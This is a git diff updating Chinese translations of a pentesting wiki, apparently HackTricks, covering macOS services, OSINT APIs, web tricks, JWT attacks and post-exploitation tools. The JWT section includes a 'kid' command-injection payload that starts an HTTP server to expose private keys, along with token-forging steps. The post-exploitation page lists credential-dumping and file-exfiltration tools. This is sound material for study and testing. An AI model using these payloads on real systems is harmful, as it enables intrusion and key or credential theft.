-allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` -ARD 提供多种控制级别,包括观察、共享控制和完全控制,且会话在用户密码更改后仍然持续。它允许直接发送 Unix 命令,并以 root 身份执行这些命令,适用于管理用户。任务调度和远程 Spotlight 搜索是显著特性,便于在多台机器上进行远程、低影响的敏感文件搜索。 +ARD 提供多种控制级别,包括观察、共享控制和完全控制,且会话在用户密码更改后仍然持续。它允许直接发送 Unix 命令,并以 root 身份执行这些命令,适用于管理用户。任务调度和远程 Spotlight 搜索是显著的功能,便于在多台机器上进行远程、低影响的敏感文件搜索。 ## Bonjour 协议 -Bonjour 是一项由苹果设计的技术,允许 **同一网络上的设备检测彼此提供的服务**。也称为 Rendezvous、**零配置**或 Zeroconf,它使设备能够加入 TCP/IP 网络,**自动选择 IP 地址**,并将其服务广播给其他网络设备。 +Bonjour 是一项由 Apple 设计的技术,允许 **同一网络上的设备检测彼此提供的服务**。也称为 Rendezvous、**零配置**或 Zeroconf,它使设备能够加入 TCP/IP 网络,**自动选择 IP 地址**,并将其服务广播给其他网络设备。 Bonjour 提供的零配置网络确保设备可以: - **自动获取 IP 地址**,即使在没有 DHCP 服务器的情况下。 - 执行 **名称到地址的转换**,而无需 DNS 服务器。 -- **发现**网络上可用的服务。 +- **发现** 网络上可用的服务。 -使用 Bonjour 的设备将从 **169.254/16 范围**中自我分配一个 IP 地址,并验证其在网络上的唯一性。Mac 维护此子网的路由表条目,可以通过 `netstat -rn | grep 169` 验证。 +使用 Bonjour 的设备将从 **169.254/16 范围** 中自我分配一个 IP 地址,并验证其在网络上的唯一性。Mac 维护此子网的路由表条目,可以通过 `netstat -rn | grep 169` 验证。 对于 DNS,Bonjour 利用 **多播 DNS (mDNS) 协议**。mDNS 在 **port 5353/UDP** 上运行,采用 **标准 DNS 查询**,但目标是 **多播地址 224.0.0.251**。这种方法确保网络上所有监听设备都能接收并响应查询,从而促进其记录的更新。 -加入网络后,每个设备自我选择一个名称,通常以 **.local** 结尾,该名称可能源自主机名或随机生成。 +加入网络时,每个设备自我选择一个名称,通常以 **.local** 结尾,该名称可能源自主机名或随机生成。 网络内的服务发现由 **DNS 服务发现 (DNS-SD)** 促进。利用 DNS SRV 记录的格式,DNS-SD 使用 **DNS PTR 记录** 来启用多个服务的列出。寻求特定服务的客户端将请求 `.` 的 PTR 记录,如果该服务在多个主机上可用,则返回格式为 `..` 的 PTR 记录列表。 @@ -76,9 +76,9 @@ dns-sd -B _http._tcp ``` 当服务启动时,它通过多播其存在向子网中的所有设备宣布其可用性。对这些服务感兴趣的设备无需发送请求,只需监听这些公告。 -为了提供更友好的界面,可以在苹果应用商店中使用 **Discovery - DNS-SD Browser** 应用程序可视化您本地网络上提供的服务。 +为了提供更友好的界面,可以在Apple App Store上使用**Discovery - DNS-SD Browser**应用程序可视化您本地网络上提供的服务。 -或者,可以编写自定义脚本使用 `python-zeroconf` 库浏览和发现服务。 [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) 脚本演示了如何为 `_http._tcp.local.` 服务创建服务浏览器,打印添加或移除的服务: +或者,可以编写自定义脚本使用`python-zeroconf`库浏览和发现服务。 [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)脚本演示了如何为`_http._tcp.local.`服务创建服务浏览器,打印添加或移除的服务: ```python from zeroconf import ServiceBrowser, Zeroconf diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index 4b3045b3c..1bbbccbef 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -21,13 +21,13 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ## 用户权限 - **标准用户**:最基本的用户。此用户在尝试安装软件或执行其他高级任务时需要管理员用户授予的权限。他们无法独立完成这些操作。 -- **管理员用户**:大多数时候作为标准用户操作,但也被允许执行根操作,例如安装软件和其他管理任务。所有属于管理员组的用户**通过sudoers文件获得root访问权限**。 +- **管理员用户**:大多数时候作为标准用户操作,但也被允许执行根操作,如安装软件和其他管理任务。所有属于管理员组的用户**通过sudoers文件获得root访问权限**。 - **Root**:Root是一个被允许执行几乎任何操作的用户(受系统完整性保护等保护措施的限制)。 - 例如,root无法将文件放置在`/System`内 ## 外部账户 -MacOS还支持通过外部身份提供者登录,例如FaceBook、Google... 执行此工作的主要守护进程是`accountsd`(`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`),可以在文件夹`/System/Library/Accounts/Authentication/`中找到用于外部身份验证的插件。\ +MacOS还支持通过外部身份提供者登录,如FaceBook、Google等。执行此工作的主要守护进程是`accountsd`(`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`),可以在文件夹`/System/Library/Accounts/Authentication/`中找到用于外部身份验证的插件。\ 此外,`accountsd`从`/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`获取账户类型列表。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index 1bdb2df8e..158b60171 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -8,7 +8,7 @@ - **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) - **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -### 特定的 MacOS 命令 +### 特定 MacOS 命令 ```bash #System info date diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md index 51e09bc72..1d38313e2 100644 --- a/src/online-platforms-with-api.md +++ b/src/online-platforms-with-api.md @@ -2,121 +2,120 @@ # [ProjectHoneypot](https://www.projecthoneypot.org/) -You can ask if an IP is related to suspicious/malicious activities. Completely free. +您可以询问某个IP是否与可疑/恶意活动相关。完全免费。 # [**BotScout**](http://botscout.com/api.htm) -Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free. +检查IP地址是否与注册账户的机器人相关。还可以检查用户名和电子邮件。最初免费。 # [Hunter](https://hunter.io/) -Find and verify emails. -Some free API requests free, for more you need to pay. -Commercial? +查找和验证电子邮件。 +一些API请求免费,更多需要付费。 +商业? # [AlientVault](https://otx.alienvault.com/api) -Find Malicious activities related to IPs and Domains. Free. +查找与IP和域名相关的恶意活动。免费。 # [Clearbit](https://dashboard.clearbit.com/) -Find related personal data to a email \(profiles on other platforms\), domain \(basic company info ,mails and people working\) and companies \(get company info from mail\). -You need to pay to access all the possibilities. -Commercial? +查找与电子邮件(其他平台上的个人资料)、域名(基本公司信息、邮件和工作的人)和公司(从邮件获取公司信息)相关的个人数据。 +您需要付费才能访问所有可能性。 +商业? # [BuiltWith](https://builtwith.com/) -Technologies used by webs. Expensive... -Commercial? +网站使用的技术。昂贵... +商业? # [Fraudguard](https://fraudguard.io/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. -Commercial? +检查主机(域名或IP)是否与可疑/恶意活动相关。有一些免费API访问。 +商业? # [FortiGuard](https://fortiguard.com/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. +检查主机(域名或IP)是否与可疑/恶意活动相关。有一些免费API访问。 # [SpamCop](https://www.spamcop.net/) -Indicates if host is related to spam activity. Have some free API access. +指示主机是否与垃圾邮件活动相关。有一些免费API访问。 # [mywot](https://www.mywot.com/) -Based on opinions and other metrics get if a domain is related with suspicious/malicious information. +基于意见和其他指标判断域名是否与可疑/恶意信息相关。 # [ipinfo](https://ipinfo.io/) -Obtains basic info from an IP address. You can test up to 100K/month. +获取IP地址的基本信息。您每月可以测试最多100K。 # [securitytrails](https://securitytrails.com/app/account) -This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email \(find related domains\), IP history of domains \(find the host behind CloudFlare\), all domains using a nameserver.... -You have some free access. +该平台提供有关域名和IP地址的信息,例如IP或域名服务器内的域名、由电子邮件拥有的域名(查找相关域名)、域名的IP历史(查找CloudFlare背后的主机)、使用某个名称服务器的所有域名... +您有一些免费访问。 # [fullcontact](https://www.fullcontact.com/) -Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access. +允许按电子邮件、域名或公司名称搜索并检索相关的“个人”信息。还可以验证电子邮件。有一些免费访问。 # [RiskIQ](https://www.spiderfoot.net/documentation/) -A lot of information from domains and IPs even in the free/community version. +即使在免费/社区版本中,也有大量来自域名和IP的信息。 # [\_IntelligenceX](https://intelx.io/) -Search Domains, IPs and emails and get info from dumps. Have some free access. +搜索域名、IP和电子邮件并从泄露中获取信息。有一些免费访问。 # [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) -Search by IP and gather information related to suspicions activities. There is some free access. +按IP搜索并收集与可疑活动相关的信息。有一些免费访问。 # [Greynoise](https://viz.greynoise.io/) -Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access. +按IP或IP范围搜索并获取有关扫描互联网的IP的信息。15天免费访问。 # [Shodan](https://www.shodan.io/) -Get scan information of an IP address. Have some free api access. +获取IP地址的扫描信息。有一些免费API访问。 # [Censys](https://censys.io/) -Very similar to shodan +与shodan非常相似 # [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) -Find open S3 buckets searching by keyword. +通过关键字查找开放的S3桶。 # [Dehashed](https://www.dehashed.com/data) -Find leaked credentials of emails and even domains -Commercial? +查找电子邮件甚至域名的泄露凭据 +商业? # [psbdmp](https://psbdmp.ws/) -Search pastebins where a email appeared. Commercial? +搜索电子邮件出现的pastebins。商业? # [emailrep.io](https://emailrep.io/key) -Get reputation of a mail. Commercial? +获取邮件的声誉。商业? # [ghostproject](https://ghostproject.fr/) -Get passwords from leaked emails. Commercial? +从泄露的电子邮件中获取密码。商业? # [Binaryedge](https://www.binaryedge.io/) -Obtain interesting info from IPs +从IP获取有趣的信息 # [haveibeenpwned](https://haveibeenpwned.com/) -Search by domain and email and get if it was pwned and passwords. Commercial? +按域名和电子邮件搜索,查看是否被攻破及密码。商业? -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in a commercial tool?\) +[https://dnsdumpster.com/](https://dnsdumpster.com/)(在商业工具中?) -[https://www.netcraft.com/](https://www.netcraft.com/) \(in a commercial tool?\) +[https://www.netcraft.com/](https://www.netcraft.com/)(在商业工具中?) -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in a commercial tool?\) +[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/)(在商业工具中?) {{#include ./banners/hacktricks-training.md}} - diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index f442a4533..9b7d73fd9 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -1,52 +1,37 @@ -# Other Web Tricks +# 其他网络技巧 {{#include ./banners/hacktricks-training.md}} -
-**Get a hacker's perspective on your web apps, network, and cloud** +### 主机头 -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -### Host header - -Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +几次后端信任 **Host header** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封包含重置密码链接的电子邮件时,使用的域是您在 Host header 中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。 [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。 > [!WARNING] -> Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**. +> 请注意,您甚至可能不需要等待用户点击重置密码链接以获取令牌,因为 **垃圾邮件过滤器或其他中介设备/机器人可能会点击它以进行分析**。 +### 会话布尔值 -### Session booleans +有时,当您正确完成某些验证时,后端会 **仅将值为 "True" 的布尔值添加到您的会话的安全属性中**。然后,另一个端点将知道您是否成功通过了该检查。\ +然而,如果您 **通过检查** 并且您的会话在安全属性中获得了 "True" 值,您可以尝试 **访问其他资源**,这些资源 **依赖于相同的属性**,但您 **不应该有权限** 访问。 [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。 -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ -However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +### 注册功能 -### Register functionality +尝试以已存在的用户身份注册。还可以尝试使用等效字符(点、多个空格和 Unicode)。 -Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). +### 接管电子邮件 -### Takeover emails +注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者,如果您可以启用第二个电子邮件以确认第一个电子邮件,您也可以接管任何帐户。 -Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. - -### Access Internal servicedesk of companies using atlassian +### 访问使用 atlassian 的公司的内部服务台 {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} -### TRACE method +### TRACE 方法 -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +开发人员可能会忘记在生产环境中禁用各种调试选项。例如,HTTP `TRACE` 方法是为诊断目的而设计的。如果启用,web 服务器将通过在响应中回显收到的确切请求来响应使用 `TRACE` 方法的请求。这种行为通常是无害的,但偶尔会导致信息泄露,例如可能由反向代理附加到请求的内部身份验证头的名称。![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md index 8bd354c0a..9389f6b35 100644 --- a/src/pentesting-dns.md +++ b/src/pentesting-dns.md @@ -1,9 +1,9 @@ {{#include ./banners/hacktricks-training.md}} -**Research more about attacks to DNS** +**进一步研究对DNS的攻击** -**DNSSEC and DNSSEC3** +**DNSSEC和DNSSEC3** -**DNS in IPv6** +**IPv6中的DNS** {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 9ec0299c1..9e7e25711 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -**本帖部分内容基于以下精彩文章:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ +**本帖部分内容基于以下精彩文章:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ **JWT 渗透测试的优秀工具作者** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool) ### **快速胜利** @@ -32,14 +32,14 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" 要检查 JWT 的签名是否被验证: - 错误消息表明正在进行验证;应检查详细错误中的敏感信息。 -- 返回页面的变化也表明正在验证。 +- 返回页面的变化也表明正在进行验证。 - 没有变化表明没有验证;这时可以尝试篡改有效负载声明。 ### 来源 通过检查代理的请求历史,确定令牌是服务器端生成还是客户端生成非常重要。 -- 从客户端首次看到的令牌表明密钥可能暴露在客户端代码中,需要进一步调查。 +- 首次从客户端看到的令牌表明密钥可能暴露在客户端代码中,需要进一步调查。 - 来源于服务器端的令牌表明过程是安全的。 ### 持续时间 @@ -58,7 +58,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ### 将算法 RS256(非对称)更改为 HS256(对称)(CVE-2016-5431/CVE-2016-10555) -算法 HS256 使用密钥对每条消息进行签名和验证。\ +算法 HS256 使用密钥对每个消息进行签名和验证。\ 算法 RS256 使用私钥对消息进行签名,并使用公钥进行身份验证。 如果将算法从 RS256 更改为 HS256,后端代码将使用公钥作为密钥,然后使用 HS256 算法验证签名。 @@ -119,7 +119,7 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" #### 通过“kid”的OS注入 -`kid`参数指定在命令执行上下文中使用的文件路径的场景可能导致远程代码执行(RCE)漏洞。通过向`kid`参数注入命令,可以暴露私钥。一个实现RCE和密钥暴露的示例有效载荷是: +`kid`参数指定在命令执行上下文中使用的文件路径的场景可能导致远程代码执行(RCE)漏洞。通过向`kid`参数注入命令,可以暴露私钥。实现RCE和密钥暴露的示例有效载荷是: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` @@ -136,9 +136,9 @@ openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` -然后你可以使用例如 [**jwt.io**](https://jwt.io) 来创建新的 JWT,**使用创建的公钥和私钥,并将参数 jku 指向创建的证书。** 为了创建有效的 jku 证书,你可以下载原始证书并更改所需的参数。 +然后您可以使用例如 [**jwt.io**](https://jwt.io) 来创建新的 JWT,使用 **创建的公钥和私钥,并将参数 jku 指向创建的证书。** 为了创建有效的 jku 证书,您可以下载原始证书并更改所需的参数。 -你可以使用以下方法从公钥证书中获取参数 "e" 和 "n": +您可以使用以下方法从公钥证书中获取参数 "e" 和 "n": ```bash from Crypto.PublicKey import RSA fp = open("publickey.crt", "r") @@ -149,7 +149,7 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL。指向一组以 PEM 格式编码的 X.509(证书格式标准)公共证书的 URI。该组中的第一个证书必须是用于签署此 JWT 的证书。后续证书每个都签署前一个证书,从而完成证书链。X.509 在 RFC 52807 中定义。传输安全性是传输证书所必需的。 +X.509 URL。指向一组以 PEM 格式编码的 X.509(证书格式标准)公共证书的 URI。该组中的第一个证书必须是用于签署此 JWT 的证书。后续证书依次签署前一个证书,从而完成证书链。X.509 在 RFC 52807 中定义。传输安全性是传输证书所必需的。 尝试**将此头部更改为您控制下的 URL**,并检查是否收到任何请求。在这种情况下,您**可能会篡改 JWT**。 @@ -177,7 +177,7 @@ openssl x509 -in attacker.crt -text ``` ### 嵌入式公钥 (CVE-2018-0114) -如果JWT嵌入了公钥,如以下场景所示: +如果JWT嵌入了公钥,如下场景所示: ![](<../images/image (624).png>) @@ -213,12 +213,12 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); 如果某些应用程序使用 ES256 并使用相同的随机数生成两个 JWT,则可以恢复私钥。 -这是一个例子:[ECDSA:如果使用相同的随机数泄露私钥(使用 SECP256k1)](https://asecuritysite.com/encryption/ecd5) +这是一个例子:[ECDSA:如果使用相同的随机数则泄露私钥(使用 SECP256k1)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防止令牌被重放。\ -然而,想象一下一个情况,其中 ID 的最大长度为 4(0001-9999)。请求 0001 和 10001 将使用相同的 ID。因此,如果后端在每个请求中递增 ID,您可以利用这一点来 **重放请求**(需要在每次成功重放之间发送 10000 个请求)。 +然而,想象一下 ID 的最大长度为 4(0001-9999)。请求 0001 和 10001 将使用相同的 ID。因此,如果后端在每个请求中递增 ID,您可以利用这一点来 **重放请求**(需要在每次成功重放之间发送 10000 个请求)。 ### JWT 注册声明 @@ -228,13 +228,13 @@ JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防 **跨服务中继攻击** -已经观察到一些 Web 应用程序依赖于受信任的 JWT 服务来生成和管理其令牌。记录到的实例表明,由 JWT 服务为一个客户端生成的令牌被同一 JWT 服务的另一个客户端接受。如果通过第三方服务观察到 JWT 的发行或续订,则应调查使用相同的用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求中重放获得的令牌,以查看是否被接受。 +已经观察到一些 Web 应用程序依赖于受信任的 JWT 服务来生成和管理其令牌。记录到的实例表明,由 JWT 服务为一个客户端生成的令牌被同一 JWT 服务的另一个客户端接受。如果通过第三方服务观察到 JWT 的发行或续订,则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求中重放获得的令牌,以查看是否被接受。 -- 您的令牌被接受可能表明存在一个关键问题,这可能允许伪造任何用户的帐户。然而,需要注意的是,如果在第三方应用程序上注册,可能需要更广泛测试的权限,因为这可能进入法律灰色地带。 +- 您的令牌被接受可能表明存在一个关键问题,这可能允许伪造任何用户的帐户。然而,需要注意的是,如果在第三方应用程序上注册,则可能需要更广泛测试的权限,因为这可能进入法律灰色地带。 **令牌的过期检查** -使用 "exp" 负载声明检查令牌的过期。鉴于 JWT 通常在没有会话信息的情况下使用,因此需要谨慎处理。在许多情况下,捕获并重放另一个用户的 JWT 可能会使您能够冒充该用户。JWT RFC 建议通过利用 "exp" 声明为令牌设置过期时间来减轻 JWT 重放攻击。此外,应用程序实施相关检查以确保处理此值并拒绝过期令牌至关重要。如果令牌包含 "exp" 声明,并且测试时间限制允许,建议存储令牌并在过期时间过去后重放它。令牌的内容,包括时间戳解析和过期检查(UTC 中的时间戳),可以使用 jwt_tool 的 -R 标志读取。 +令牌的过期是通过 "exp" 负载声明进行检查的。鉴于 JWT 通常在没有会话信息的情况下使用,因此需要谨慎处理。在许多情况下,捕获和重放另一个用户的 JWT 可能会使您能够冒充该用户。JWT RFC 建议通过利用 "exp" 声明为令牌设置过期时间来减轻 JWT 重放攻击。此外,应用程序实施相关检查以确保处理此值并拒绝过期令牌至关重要。如果令牌包含 "exp" 声明并且测试时间限制允许,建议存储令牌并在过期时间过去后重放它。令牌的内容,包括时间戳解析和过期检查(UTC 中的时间戳),可以使用 jwt_tool 的 -R 标志读取。 - 如果应用程序仍然验证令牌,则可能存在安全风险,因为这可能意味着令牌永远不会过期。 diff --git a/src/post-exploitation.md b/src/post-exploitation.md index 531f82530..5813d52cb 100644 --- a/src/post-exploitation.md +++ b/src/post-exploitation.md @@ -1,16 +1,16 @@ {{#include ./banners/hacktricks-training.md}} -## **Local l00t** +## **本地 l00t** -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. +- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): 这些脚本除了寻找 PE 向量外,还会在文件系统中查找敏感信息。 +- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne 项目**是一个开源应用程序,用于**检索存储在本地计算机上的大量密码**。每个软件使用不同的技术(明文、API、自定义算法、数据库等)存储其密码。该工具的开发目的是查找最常用软件的这些密码。 -## **External Services** +## **外部服务** -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review. +- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): 此模块将使用访问令牌连接到 Confluence 的 API,导出为 PDF,并下载目标可以访问的 Confluence 文档。 +- [**GD-Thief**](https://github.com/antman1p/GD-Thief): 红队工具,用于通过 Google Drive API 从目标的 Google Drive 中提取文件,攻击者可以访问这些文件。这包括所有共享文件、所有共享驱动器中的文件,以及目标可以访问的域驱动器中的所有文件。 +- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): 红队工具,用于通过 Google 的 People API 提取您可以访问的目标组织的 Google 人员目录。 +- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** 这是一个用 Python 开发的工具,利用原生 Slack API 从给定访问令牌的 Slack 工作区中提取“有趣”的信息。 +- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound 是一个命令行工具,供红队和蓝队快速对 Slack 工作区/组织进行侦察。Slackhound 使组织的用户、文件、消息等的收集快速可搜索,并将大型对象写入 CSV 以供离线审查。 {{#include ./banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md index c24ee8094..0d5f7b825 100644 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,13 +1,13 @@ -# Stealing Sensitive Information Disclosure from a Web +# 从网页窃取敏感信息泄露 {{#include ./banners/hacktricks-training.md}} -If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\ -Here I present you the main ways to can try to achieve it: +如果你在某个时刻发现一个**根据你的会话向你展示敏感信息的网页**:也许它反映了 cookies,或者打印了信用卡详情或其他任何敏感信息,你可以尝试窃取它。\ +在这里,我向你展示主要的几种方法: -- [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page. -- [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags. -- [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). +- [**CORS 绕过**](pentesting-web/cors-bypass.md):如果你可以绕过 CORS 头,你将能够通过恶意页面执行 Ajax 请求来窃取信息。 +- [**XSS**](pentesting-web/xss-cross-site-scripting/): 如果你在页面上发现 XSS 漏洞,你可能能够利用它来窃取信息。 +- [**悬挂标记**](pentesting-web/dangling-markup-html-scriptless-injection/): 如果你无法注入 XSS 标签,你仍然可以使用其他常规 HTML 标签来窃取信息。 +- [**点击劫持**](pentesting-web/clickjacking.md):如果没有针对这种攻击的保护,你可能能够欺骗用户向你发送敏感数据(示例[在这里](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))。 {{#include ./banners/hacktricks-training.md}}